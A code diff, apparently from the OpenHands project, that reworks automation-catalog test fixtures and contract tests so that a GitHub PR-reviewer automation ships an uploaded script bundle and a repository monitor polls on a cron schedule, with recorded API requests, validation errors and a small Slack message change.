| f"Understand that your response will be displayed in Slack. Format links so they stay clickable in Slack: never wrap a URL in asterisks or backticks, never bold or otherwise style a link, and always output the bare URL as plain text (e.g. https://example.com/path, not **https://example.com/path** or <https://example.com/path>). You can always use Slack format for link text and address." | ||
| ) | ||
@@ -1005,3 +1006,3 @@ | ||
| else: | ||
| summary = f"✅ Done!\n\n{final}" if final else "✅ Task complete (no summary available)." | ||
| summary = final if final else "Success (no message available)." | ||
@@ -1008,0 +1009,0 @@ ts_back = post_message(slack_token, channel_id, summary, thread_ts=thread_ts) |
@@ -49,2 +49,3 @@ { | ||
| "conversationDispatch", | ||
| "customTarball", | ||
| "mcpTools", | ||
@@ -74,2 +75,3 @@ "presetPlugin", | ||
| "conversationDispatch", | ||
| "customTarball", | ||
| "mcpTools", | ||
@@ -81,2 +83,30 @@ "presetPrompt", | ||
| }, | ||
| "noCustomTarball": { | ||
| "description": "A ready deployment running a service that predates bundle support, so it can run a preset but not a tarball the client supplies. An entry whose setup ships a bundle is blocked here even though every trigger kind it needs is available.", | ||
| "status": 200, | ||
| "body": { | ||
| "ready": true, | ||
| "triggerKinds": ["cron", "event"], | ||
| "eventSources": ["github"], | ||
| "eventTypes": ["pull_request.labeled"], | ||
| "triggers": { | ||
| "cron": { | ||
| "minIntervalSeconds": 300, | ||
| "timezones": ["UTC"] | ||
| }, | ||
| "event": { | ||
| "filterLanguage": "jmespath", | ||
| "filterFunctions": ["contains", "icontains"] | ||
| } | ||
| }, | ||
| "features": [ | ||
| "conversationDispatch", | ||
| "mcpTools", | ||
| "presetPlugin", | ||
| "presetPrompt", | ||
| "repoClone", | ||
| "webhookDelivery" | ||
| ] | ||
| } | ||
| }, | ||
| "notReady": { | ||
@@ -83,0 +113,0 @@ "description": "The automation service is reachable but not accepting work. It offers no features and no trigger kinds, so every setup block is blocked.", |
| { | ||
| "automationId": "github-pr-reviewer", | ||
| "description": "Direct scheduled setup. Every create request body below is verified against the live CreatePromptAutomationRequest model in OpenHands/automation (openhands/automation/preset_router.py).", | ||
| "description": "Direct scheduled setup that ships a script bundle rather than a prompt. The host packs the entry's files with a rendered config.json, uploads them, and creates from what came back, so a scenario that reaches creation records an upload step first. A preflight draft carries a stand-in tarball path instead: preflight runs while the form is being filled in, before anything is uploaded. Every create request body below is verified against the live CreateAutomationRequest model in OpenHands/automation (openhands/automation/schemas.py).", | ||
| "capabilities": "supported", | ||
| "blockedBy": [ | ||
| "noCustomTarball", | ||
| "notReady" | ||
@@ -13,8 +14,33 @@ ], | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerLabel": "openhands-review", | ||
| "reviewTone": "thorough", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| "timezone": "UTC", | ||
| "repositories": [ | ||
| "OpenHands/agent-server-gui" | ||
| ] | ||
| }, | ||
| "upload": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/uploads", | ||
| "query": { | ||
| "name": "github-pr-reviewer" | ||
| }, | ||
| "contentType": "application/gzip", | ||
| "packs": [ | ||
| "config.json", | ||
| "main.py" | ||
| ] | ||
| }, | ||
| "response": { | ||
| "status": 201, | ||
| "body": { | ||
| "id": "2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "name": "github-pr-reviewer", | ||
| "status": "COMPLETED", | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34" | ||
| } | ||
| } | ||
| }, | ||
| "preflight": { | ||
@@ -26,12 +52,5 @@ "request": { | ||
| "automationId": "github-pr-reviewer", | ||
| "endpoint": "/v1/preset/prompt", | ||
| "endpoint": "/v1", | ||
| "draft": { | ||
| "name": "GitHub Code Review Agent - OpenHands/agent-server-gui", | ||
| "prompt": "Review pull requests labeled 'openhands-review' in OpenHands/agent-server-gui. Review tone: thorough.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "provider": "github" | ||
| } | ||
| ], | ||
| "trigger": { | ||
@@ -41,2 +60,16 @@ "type": "cron", | ||
| "timezone": "UTC" | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/00000000-0000-0000-0000-000000000000", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "thorough" | ||
| } | ||
| } | ||
@@ -57,12 +90,5 @@ } | ||
| "method": "POST", | ||
| "path": "/v1/preset/prompt", | ||
| "path": "/v1", | ||
| "body": { | ||
| "name": "GitHub Code Review Agent - OpenHands/agent-server-gui", | ||
| "prompt": "Review pull requests labeled 'openhands-review' in OpenHands/agent-server-gui. Review tone: thorough.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "provider": "github" | ||
| } | ||
| ], | ||
| "trigger": { | ||
@@ -72,2 +98,16 @@ "type": "cron", | ||
| "timezone": "UTC" | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "thorough" | ||
| } | ||
| } | ||
@@ -104,10 +144,157 @@ } | ||
| { | ||
| "id": "several-repositories", | ||
| "description": "Two repositories from one automation. The config carries the list the picker collected, and the automation is named by the count rather than by a list of names that would not fit.", | ||
| "formValues": { | ||
| "triggerLabel": "openhands-review", | ||
| "reviewTone": "thorough", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC", | ||
| "repositories": [ | ||
| "OpenHands/agent-server-gui", | ||
| "OpenHands/automation" | ||
| ] | ||
| }, | ||
| "upload": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/uploads", | ||
| "query": { | ||
| "name": "github-pr-reviewer" | ||
| }, | ||
| "contentType": "application/gzip", | ||
| "packs": [ | ||
| "config.json", | ||
| "main.py" | ||
| ] | ||
| }, | ||
| "response": { | ||
| "status": 201, | ||
| "body": { | ||
| "id": "2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "name": "github-pr-reviewer", | ||
| "status": "COMPLETED", | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34" | ||
| } | ||
| } | ||
| }, | ||
| "preflight": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/validate", | ||
| "body": { | ||
| "automationId": "github-pr-reviewer", | ||
| "endpoint": "/v1", | ||
| "draft": { | ||
| "name": "GitHub Code Review Agent - 2 repositories", | ||
| "trigger": { | ||
| "type": "cron", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/00000000-0000-0000-0000-000000000000", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui", | ||
| "OpenHands/automation" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "thorough" | ||
| } | ||
| } | ||
| } | ||
| } | ||
| }, | ||
| "response": { | ||
| "status": 200, | ||
| "body": { | ||
| "valid": true, | ||
| "errors": [] | ||
| } | ||
| } | ||
| }, | ||
| "create": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1", | ||
| "body": { | ||
| "name": "GitHub Code Review Agent - 2 repositories", | ||
| "trigger": { | ||
| "type": "cron", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui", | ||
| "OpenHands/automation" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "thorough" | ||
| } | ||
| } | ||
| } | ||
| }, | ||
| "response": { | ||
| "status": 201, | ||
| "body": { | ||
| "id": "6f1b8e64-2f6a-4f0e-9a1c-2b7d0c4e5f11", | ||
| "user_id": "1a2b3c4d-0000-4000-8000-000000000001", | ||
| "org_id": "1a2b3c4d-0000-4000-8000-000000000002", | ||
| "model": null, | ||
| "name": "GitHub Code Review Agent - 2 repositories", | ||
| "prompt": "Review pull requests labeled 'openhands-review' in OpenHands/agent-server-gui. Review tone: thorough.", | ||
| "trigger": { | ||
| "type": "cron", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/8d2c1f90-7e34-4a55-b0d1-6c9e3a2f4b88", | ||
| "setup_script_path": "setup.sh", | ||
| "entrypoint": ".venv/bin/python main.py", | ||
| "timeout": 600, | ||
| "keep_alive": null, | ||
| "enabled": true, | ||
| "last_triggered_at": null, | ||
| "created_at": "2026-07-27T12:00:00Z", | ||
| "updated_at": "2026-07-27T12:00:00Z", | ||
| "preset_metadata": { | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui", | ||
| "OpenHands/automation" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "thorough" | ||
| } | ||
| } | ||
| } | ||
| } | ||
| } | ||
| } | ||
| }, | ||
| { | ||
| "id": "interval-below-deployment-minimum", | ||
| "description": "A one-minute schedule. The create model accepts it, so only the deployment can reject it - this is precisely why preflight exists and why local validation is not authoritative.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerLabel": "openhands-review", | ||
| "reviewTone": "concise", | ||
| "schedule": "*/1 * * * *", | ||
| "timezone": "UTC" | ||
| "timezone": "UTC", | ||
| "repositories": [ | ||
| "OpenHands/agent-server-gui" | ||
| ] | ||
| }, | ||
@@ -120,12 +307,5 @@ "preflight": { | ||
| "automationId": "github-pr-reviewer", | ||
| "endpoint": "/v1/preset/prompt", | ||
| "endpoint": "/v1", | ||
| "draft": { | ||
| "name": "GitHub Code Review Agent - OpenHands/agent-server-gui", | ||
| "prompt": "Review pull requests labeled 'openhands-review' in OpenHands/agent-server-gui. Review tone: concise.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "provider": "github" | ||
| } | ||
| ], | ||
| "trigger": { | ||
@@ -135,2 +315,16 @@ "type": "cron", | ||
| "timezone": "UTC" | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/00000000-0000-0000-0000-000000000000", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "concise" | ||
| } | ||
| } | ||
@@ -162,21 +356,39 @@ } | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerLabel": "openhands-review", | ||
| "reviewTone": "concise", | ||
| "schedule": "0 0 31 2 *", | ||
| "timezone": "UTC" | ||
| "timezone": "UTC", | ||
| "repositories": [ | ||
| "OpenHands/agent-server-gui" | ||
| ] | ||
| }, | ||
| "upload": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/uploads", | ||
| "query": { | ||
| "name": "github-pr-reviewer" | ||
| }, | ||
| "contentType": "application/gzip", | ||
| "packs": [ | ||
| "config.json", | ||
| "main.py" | ||
| ] | ||
| }, | ||
| "response": { | ||
| "status": 201, | ||
| "body": { | ||
| "id": "2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "name": "github-pr-reviewer", | ||
| "status": "COMPLETED", | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34" | ||
| } | ||
| } | ||
| }, | ||
| "create": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/preset/prompt", | ||
| "path": "/v1", | ||
| "body": { | ||
| "name": "GitHub Code Review Agent - OpenHands/agent-server-gui", | ||
| "prompt": "Review pull requests labeled 'openhands-review' in OpenHands/agent-server-gui. Review tone: concise.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "provider": "github" | ||
| } | ||
| ], | ||
| "trigger": { | ||
@@ -186,2 +398,16 @@ "type": "cron", | ||
| "timezone": "UTC" | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "concise" | ||
| } | ||
| } | ||
@@ -213,23 +439,42 @@ } | ||
| { | ||
| "id": "short-repo-url-without-provider-is-rejected", | ||
| "description": "The mapping bug this fixture set exists to prevent. A short owner/repo URL without an explicit provider is a hard 422, because CreatePromptAutomationRequest is extra-forbid and RepoSource requires the provider. The setup block's payload always sets it; this records what happens if that is ever dropped.", | ||
| "id": "repos-on-the-raw-create-request-is-rejected", | ||
| "description": "The mapping bug this fixture set exists to prevent, in its bundle form. The raw create endpoint has no repos field and CreateAutomationRequest is extra-forbid, so carrying the preset path's repos across is a hard 422 rather than a silently dropped field. A bundle clones nothing: its script fetches what it needs itself.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerLabel": "openhands-review", | ||
| "reviewTone": "concise", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| "timezone": "UTC", | ||
| "repositories": [ | ||
| "OpenHands/agent-server-gui" | ||
| ] | ||
| }, | ||
| "upload": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/uploads", | ||
| "query": { | ||
| "name": "github-pr-reviewer" | ||
| }, | ||
| "contentType": "application/gzip", | ||
| "packs": [ | ||
| "config.json", | ||
| "main.py" | ||
| ] | ||
| }, | ||
| "response": { | ||
| "status": 201, | ||
| "body": { | ||
| "id": "2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "name": "github-pr-reviewer", | ||
| "status": "COMPLETED", | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34" | ||
| } | ||
| } | ||
| }, | ||
| "create": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/preset/prompt", | ||
| "path": "/v1", | ||
| "body": { | ||
| "name": "GitHub Code Review Agent - OpenHands/agent-server-gui", | ||
| "prompt": "Review pull requests labeled 'openhands-review' in OpenHands/agent-server-gui. Review tone: concise.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui" | ||
| } | ||
| ], | ||
| "trigger": { | ||
@@ -239,3 +484,23 @@ "type": "cron", | ||
| "timezone": "UTC" | ||
| } | ||
| }, | ||
| "tarball_path": "oh-internal://uploads/2c1f9a70-77c4-4a1e-9a9d-6f1f2b0c1d34", | ||
| "entrypoint": "python3 main.py", | ||
| "timeout": 600, | ||
| "template": { | ||
| "id": "github-pr-reviewer", | ||
| "version": "1.0.0", | ||
| "config": { | ||
| "repos": [ | ||
| "OpenHands/agent-server-gui" | ||
| ], | ||
| "trigger_label": "openhands-review", | ||
| "review_tone": "concise" | ||
| } | ||
| }, | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "provider": "github" | ||
| } | ||
| ] | ||
| } | ||
@@ -248,9 +513,8 @@ }, | ||
| { | ||
| "type": "value_error", | ||
| "type": "extra_forbidden", | ||
| "loc": [ | ||
| "body", | ||
| "repos", | ||
| 0 | ||
| "repos" | ||
| ], | ||
| "msg": "Value error, Short URL format 'OpenHands/agent-server-gui' requires explicit 'provider' field. Use: {\"url\": \"owner/repo\", \"provider\": \"github\"} or provide a full URL like https://github.com/owner/repo" | ||
| "msg": "Extra inputs are not permitted" | ||
| } | ||
@@ -257,0 +521,0 @@ ] |
| { | ||
| "automationId": "github-repo-monitor", | ||
| "description": "Direct GitHub-event setup. Every create request body below is verified against the live CreatePromptAutomationRequest model, and every filter expression against validate_filter() in OpenHands/automation.", | ||
| "description": "Direct scheduled setup. Every create request body below is verified against the live CreatePromptAutomationRequest model in OpenHands/automation (openhands/automation/preset_router.py).", | ||
| "capabilities": "supported", | ||
| "blockedBy": [ | ||
| "cronOnly", | ||
| "notReady" | ||
@@ -12,8 +11,9 @@ ], | ||
| "id": "happy-path", | ||
| "description": "Watch issue and pull request comments for the default mention phrase.", | ||
| "description": "Defaults plus a repository and a base branch. Preflight passes, the automation is created.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerPhrase": "@openhands", | ||
| "on": "issue_comment.created", | ||
| "ref": "main" | ||
| "ref": "main", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
@@ -29,15 +29,14 @@ "preflight": { | ||
| "name": "GitHub repository monitor - OpenHands/agent-server-gui", | ||
| "prompt": "A comment in OpenHands/agent-server-gui mentions '@openhands'. Read the surrounding issue or pull request context from the event payload, then post a helpful reply as a comment on the same thread.", | ||
| "prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "ref": "main", | ||
| "provider": "github" | ||
| "provider": "github", | ||
| "ref": "main" | ||
| } | ||
| ], | ||
| "trigger": { | ||
| "type": "event", | ||
| "source": "github", | ||
| "on": "issue_comment.created", | ||
| "filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')" | ||
| "type": "cron", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| } | ||
@@ -61,15 +60,14 @@ } | ||
| "name": "GitHub repository monitor - OpenHands/agent-server-gui", | ||
| "prompt": "A comment in OpenHands/agent-server-gui mentions '@openhands'. Read the surrounding issue or pull request context from the event payload, then post a helpful reply as a comment on the same thread.", | ||
| "prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "ref": "main", | ||
| "provider": "github" | ||
| "provider": "github", | ||
| "ref": "main" | ||
| } | ||
| ], | ||
| "trigger": { | ||
| "type": "event", | ||
| "source": "github", | ||
| "on": "issue_comment.created", | ||
| "filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')" | ||
| "type": "cron", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| } | ||
@@ -86,8 +84,7 @@ } | ||
| "name": "GitHub repository monitor - OpenHands/agent-server-gui", | ||
| "prompt": "A comment in OpenHands/agent-server-gui mentions '@openhands'. Read the surrounding issue or pull request context from the event payload, then post a helpful reply as a comment on the same thread.", | ||
| "prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.", | ||
| "trigger": { | ||
| "type": "event", | ||
| "source": "github", | ||
| "on": "issue_comment.created", | ||
| "filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')" | ||
| "type": "cron", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
@@ -108,32 +105,10 @@ "tarball_path": "oh-internal://uploads/c41e7b28-9d05-4a6b-8f13-2e5c7a90d146", | ||
| { | ||
| "id": "quote-in-trigger-phrase-blocked-locally", | ||
| "description": "The trigger phrase is interpolated into a JMESPath string literal, so an apostrophe would break the expression. The field's safeExpressionLiteral constraint rejects it before any request is made. Without that constraint the service returns 422 with: Bad jmespath expression: Unknown token.", | ||
| "id": "interval-below-deployment-minimum", | ||
| "description": "A one-minute schedule. The create model accepts it, so only the deployment can reject it - this is precisely why preflight exists and why local validation is not authoritative.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerPhrase": "@open'hands", | ||
| "on": "issue_comment.created", | ||
| "ref": "main" | ||
| }, | ||
| "localValidation": { | ||
| "valid": false, | ||
| "errors": [ | ||
| { | ||
| "field": "triggerPhrase", | ||
| "constraint": "format", | ||
| "message": "Quotes and backslashes are not allowed in the trigger phrase." | ||
| } | ||
| ] | ||
| }, | ||
| "expectedFieldErrors": { | ||
| "triggerPhrase": "Quotes and backslashes are not allowed in the trigger phrase." | ||
| } | ||
| }, | ||
| { | ||
| "id": "event-type-not-delivered-by-deployment", | ||
| "description": "Preflight rejects an event type the deployment does not receive. Nothing is created, so there is no half-broken automation to clean up.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerPhrase": "@openhands", | ||
| "on": "pull_request_review_comment.created", | ||
| "ref": "main" | ||
| "ref": "main", | ||
| "schedule": "*/1 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
@@ -149,15 +124,14 @@ "preflight": { | ||
| "name": "GitHub repository monitor - OpenHands/agent-server-gui", | ||
| "prompt": "A comment in OpenHands/agent-server-gui mentions '@openhands'. Read the surrounding issue or pull request context from the event payload, then post a helpful reply as a comment on the same thread.", | ||
| "prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "ref": "main", | ||
| "provider": "github" | ||
| "provider": "github", | ||
| "ref": "main" | ||
| } | ||
| ], | ||
| "trigger": { | ||
| "type": "event", | ||
| "source": "github", | ||
| "on": "pull_request_review_comment.created", | ||
| "filter": "icontains(comment.body, '@openhands') && glob(repository.full_name, 'OpenHands/agent-server-gui')" | ||
| "type": "cron", | ||
| "schedule": "*/1 * * * *", | ||
| "timezone": "UTC" | ||
| } | ||
@@ -173,5 +147,5 @@ } | ||
| { | ||
| "field": "trigger.on", | ||
| "code": "event_type_not_delivered", | ||
| "message": "No GitHub webhook delivering pull_request_review_comment.created is registered for this organization." | ||
| "field": "trigger.schedule", | ||
| "code": "interval_too_short", | ||
| "message": "Minimum interval for this deployment is 5 minutes." | ||
| } | ||
@@ -183,6 +157,123 @@ ] | ||
| "expectedFieldErrors": { | ||
| "on": "No GitHub webhook delivering pull_request_review_comment.created is registered for this organization." | ||
| "schedule": "Minimum interval for this deployment is 5 minutes." | ||
| } | ||
| }, | ||
| { | ||
| "id": "unfireable-cron-rejected-at-create", | ||
| "description": "31 February. Syntactically valid, so a local check passes, but the service rejects it. Shows the real 422 body: detail is a list and the loc path carries the trigger discriminator tag.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerPhrase": "@openhands", | ||
| "ref": "main", | ||
| "schedule": "0 0 31 2 *", | ||
| "timezone": "UTC" | ||
| }, | ||
| "create": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/preset/prompt", | ||
| "body": { | ||
| "name": "GitHub repository monitor - OpenHands/agent-server-gui", | ||
| "prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui", | ||
| "provider": "github", | ||
| "ref": "main" | ||
| } | ||
| ], | ||
| "trigger": { | ||
| "type": "cron", | ||
| "schedule": "0 0 31 2 *", | ||
| "timezone": "UTC" | ||
| } | ||
| } | ||
| }, | ||
| "response": { | ||
| "status": 422, | ||
| "body": { | ||
| "detail": [ | ||
| { | ||
| "type": "value_error", | ||
| "loc": [ | ||
| "body", | ||
| "trigger", | ||
| "cron", | ||
| "schedule" | ||
| ], | ||
| "msg": "Value error, Cron expression cannot produce any future fire times: 0 0 31 2 *" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
| }, | ||
| "expectedFieldErrors": { | ||
| "schedule": "Value error, Cron expression cannot produce any future fire times: 0 0 31 2 *" | ||
| } | ||
| }, | ||
| { | ||
| "id": "short-repo-url-without-provider-is-rejected", | ||
| "description": "The mapping bug this fixture set exists to prevent. A short owner/repo URL without an explicit provider is a hard 422, because CreatePromptAutomationRequest is extra-forbid and RepoSource requires the provider. The setup block's payload always sets it; this records what happens if that is ever dropped.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerPhrase": "@openhands", | ||
| "ref": "main", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
| "create": { | ||
| "request": { | ||
| "method": "POST", | ||
| "path": "/v1/preset/prompt", | ||
| "body": { | ||
| "name": "GitHub repository monitor - OpenHands/agent-server-gui", | ||
| "prompt": "Poll OpenHands/agent-server-gui for any new issue or pull request comments since the last run. For every comment mentioning '@openhands', read the surrounding issue or pull request context and post a helpful reply as a comment on the same thread.", | ||
| "repos": [ | ||
| { | ||
| "url": "OpenHands/agent-server-gui" | ||
| } | ||
| ], | ||
| "trigger": { | ||
| "type": "cron", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| } | ||
| } | ||
| }, | ||
| "response": { | ||
| "status": 422, | ||
| "body": { | ||
| "detail": [ | ||
| { | ||
| "type": "value_error", | ||
| "loc": [ | ||
| "body", | ||
| "repos", | ||
| 0 | ||
| ], | ||
| "msg": "Value error, Short URL format 'OpenHands/agent-server-gui' requires explicit 'provider' field. Use: {\"url\": \"owner/repo\", \"provider\": \"github\"} or provide a full URL like https://github.com/owner/repo" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
| }, | ||
| "matchesSetupPayload": false | ||
| }, | ||
| { | ||
| "id": "fallback-conversation-when-direct-unavailable", | ||
| "description": "A deployment that cannot run the scheduled monitor seeds the setup conversation with this message; the agent confirms the repository, trigger phrase, and polling schedule there.", | ||
| "formValues": { | ||
| "repository": "OpenHands/agent-server-gui", | ||
| "triggerPhrase": "@openhands", | ||
| "ref": "main", | ||
| "schedule": "*/15 * * * *", | ||
| "timezone": "UTC" | ||
| }, | ||
| "conversation": { | ||
| "request": { | ||
| "message": "This deployment cannot run the scheduled monitor directly. Set it up in this conversation instead: confirm the repository to watch, the trigger phrase, and the polling schedule, then create the automation." | ||
| } | ||
| } | ||
| } | ||
| ] | ||
| } |
@@ -35,2 +35,3 @@ """Contract tests for the `setup` block in automations/catalog/*/manifest.json. | ||
| CATALOG_INDEX = ROOT / "automations" / "catalog-index.js" | ||
| BUNDLE_INDEX = ROOT / "automations" / "bundle-index.js" | ||
| BUILD_SCRIPT = ROOT / "scripts" / "build-automation-catalog.mjs" | ||
@@ -41,6 +42,17 @@ FIXTURE_DIR = ROOT / "tests" / "fixtures" / "automations" | ||
| # The standardized parts of a direct setup, identical for every automation and | ||
| # therefore not declared in any entry. | ||
| # therefore not declared in any entry. Which create endpoint is used follows | ||
| # from what the entry produces: a prompt is a preset, a bundle is a tarball the | ||
| # host uploads and then creates from, which is the raw endpoint. | ||
| CREATE_PATH = "/v1/preset/prompt" | ||
| BUNDLE_CREATE_PATH = "/v1" | ||
| BUNDLE_UPLOAD_PATH = "/v1/uploads" | ||
| PREFLIGHT_PATH = "/v1/validate" | ||
| # Preflight runs while the form is being filled in and the upload happens once, | ||
| # at submit, so a bundle draft has no tarball path to send yet. The service | ||
| # checks that field's scheme at preflight and its ownership only at creation, | ||
| # so a well-formed stand-in validates what preflight is for - the rest of the | ||
| # body - without uploading an archive per keystroke. | ||
| PREFLIGHT_TARBALL_PATH = "oh-internal://uploads/00000000-0000-0000-0000-000000000000" | ||
| # The trigger properties the service accepts, per kind. A form field named | ||
@@ -88,2 +100,9 @@ # after one of them fills it; the rest are inputs to the declared filter. | ||
| def _inlined_bundles() -> dict: | ||
| """The generated bundle index, read as data rather than executed.""" | ||
| body = BUNDLE_INDEX.read_text() | ||
| marker = "export const AUTOMATION_BUNDLE_FILES = " | ||
| return json.loads(body[body.index(marker) + len(marker) :].rstrip().rstrip(";")) | ||
| def _entry_for(bundle: dict) -> dict: | ||
@@ -93,2 +112,15 @@ return _load(CATALOG_DIR / bundle["automationId"] / "manifest.json") | ||
| def _uploaded_path(scenario: dict) -> str: | ||
| """Where a bundle scenario's tarball landed, as the upload step reported it. | ||
| A preset scenario has no upload step and never reads this. | ||
| """ | ||
| return ( | ||
| scenario.get("upload", {}) | ||
| .get("response", {}) | ||
| .get("body", {}) | ||
| .get("tarball_path", "") | ||
| ) | ||
| def _integration_catalog_ids() -> set[str]: | ||
@@ -139,26 +171,42 @@ return {path.stem for path in (ROOT / "integrations" / "catalog").glob("*.json")} | ||
| def _render_payload(entry: dict, form_values: dict) -> dict: | ||
| """The create request body these form values produce. | ||
| def _is_bundle(entry: dict) -> bool: | ||
